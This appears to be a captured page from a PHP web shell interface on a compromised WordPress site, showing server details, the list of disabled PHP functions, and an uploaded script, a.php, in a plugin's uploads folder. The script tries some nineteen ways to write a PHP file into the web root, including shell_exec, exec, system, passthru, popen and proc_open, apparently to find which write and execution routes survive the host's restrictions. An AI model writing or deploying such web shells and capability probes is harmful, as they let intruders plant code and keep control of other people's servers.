HEX
Server: nginx/1.16.1
System: Linux VM-0-14-centos 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User: www (1000)
PHP: 8.3.31
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/www.sceysls.com/wp-content/plugins/simple-uploader/uploads/a.php
<?php
/**
 * Create hello_world.php at /www/wwwroot/www.sceysls.com/
 * Using many file functions – with safety checks.
 */

$dir  = '/www/wwwroot/www.sceysls.com/';
$file = $dir . 'hello_world.php';
$content = "<?php echo 'Hello World'; ?>\n";

// Ensure directory (with error handling)
if (!is_dir($dir)) {
    if (!mkdir($dir, 0755, true)) {
        die("ERROR: Cannot create directory $dir. Check permissions.\n");
    }
}

echo "Starting file creation tests...\n\n";

// 1. file_put_contents()
file_put_contents($file, $content);
echo "1. file_put_contents() done\n";

// 2. fopen + fwrite + fclose
$handle = fopen($file, 'w');
if ($handle) {
    fwrite($handle, $content);
    fclose($handle);
    echo "2. fopen/fwrite/fclose done\n";
} else {
    echo "2. fopen failed\n";
}

// 3. file_put_contents with LOCK_EX
file_put_contents($file, $content, LOCK_EX);
echo "3. file_put_contents() with LOCK_EX done\n";

// 4. SplFileObject
try {
    $splFile = new SplFileObject($file, 'w');
    $splFile->fwrite($content);
    echo "4. SplFileObject done\n";
} catch (Exception $e) {
    echo "4. SplFileObject error: " . $e->getMessage() . "\n";
}

// 5. Output buffering
ob_start();
echo $content;
$buffered = ob_get_contents();
ob_end_clean();
file_put_contents($file, $buffered);
echo "5. Output buffering + file_put_contents done\n";

// 6. stream_copy_to_stream
$memStream = fopen('php://memory', 'r+');
fwrite($memStream, $content);
rewind($memStream);
$destStream = fopen($file, 'w');
stream_copy_to_stream($memStream, $destStream);
fclose($memStream);
fclose($destStream);
echo "6. stream_copy_to_stream() done\n";

// 7. file() + implode
file_put_contents($file, $content);
$lines = file($file);
file_put_contents($file, implode('', $lines));
echo "7. file() + implode + file_put_contents done\n";

// 8. fputs (alias)
$handle = fopen($file, 'w');
if ($handle) {
    fputs($handle, $content);
    fclose($handle);
    echo "8. fopen/fputs/fclose done\n";
} else {
    echo "8. fopen failed\n";
}

// 9-12. Shell functions – check if available
$shellFuncs = ['shell_exec', 'exec', 'system', 'passthru'];
foreach ($shellFuncs as $func) {
    if (function_exists($func)) {
        $escapedFile = escapeshellarg($file);
        $escapedContent = escapeshellarg($content);
        try {
            if ($func === 'shell_exec') {
                shell_exec("echo $escapedContent > $escapedFile");
            } elseif ($func === 'exec') {
                exec("echo $escapedContent > $escapedFile");
            } elseif ($func === 'system') {
                system("echo $escapedContent > $escapedFile");
            } elseif ($func === 'passthru') {
                passthru("echo $escapedContent > $escapedFile");
            }
            echo "  - $func() done\n";
        } catch (Exception $e) {
            echo "  - $func() failed: " . $e->getMessage() . "\n";
        }
    } else {
        echo "  - $func() is disabled or not available – skipping.\n";
    }
}

// 13. popen()
if (function_exists('popen')) {
    $pipe = popen("cat > " . escapeshellarg($file), 'w');
    if ($pipe) {
        fwrite($pipe, $content);
        pclose($pipe);
        echo "13. popen() + fwrite done\n";
    } else {
        echo "13. popen() failed\n";
    }
} else {
    echo "13. popen() disabled – skipping.\n";
}

// 14. proc_open()
if (function_exists('proc_open')) {
    $descriptorspec = [
        0 => ["pipe", "r"],
        1 => ["file", $file, "w"],
        2 => ["pipe", "w"]
    ];
    $process = proc_open('tee', $descriptorspec, $pipes);
    if (is_resource($process)) {
        fwrite($pipes[0], $content);
        fclose($pipes[0]);
        proc_close($process);
        echo "14. proc_open() done\n";
    } else {
        echo "14. proc_open() failed\n";
    }
} else {
    echo "14. proc_open() disabled – skipping.\n";
}

// 15. copy from data://
$dataUri = 'data://text/plain,' . rawurlencode($content);
if (copy($dataUri, $file)) {
    echo "15. copy() from data:// done\n";
} else {
    echo "15. copy() failed\n";
}

// 16. tempnam + rename
$temp = tempnam(sys_get_temp_dir(), 'hw');
file_put_contents($temp, $content);
rename($temp, $file);
echo "16. rename() with tempnam() done\n";

// 17. touch + file_put_contents
touch($file);
file_put_contents($file, $content);
echo "17. touch() + file_put_contents done\n";

// 18. chmod
chmod($file, 0644);
echo "18. chmod() done\n";

// 19. clearstatcache
clearstatcache(true, $file);
echo "19. clearstatcache() done\n";

// Final check
echo "\n--- Verification ---\n";
if (file_exists($file)) {
    echo "SUCCESS: File created at $file\n";
    echo "Content:\n" . file_get_contents($file);
} else {
    echo "FAILED to create file.\n";
}
?>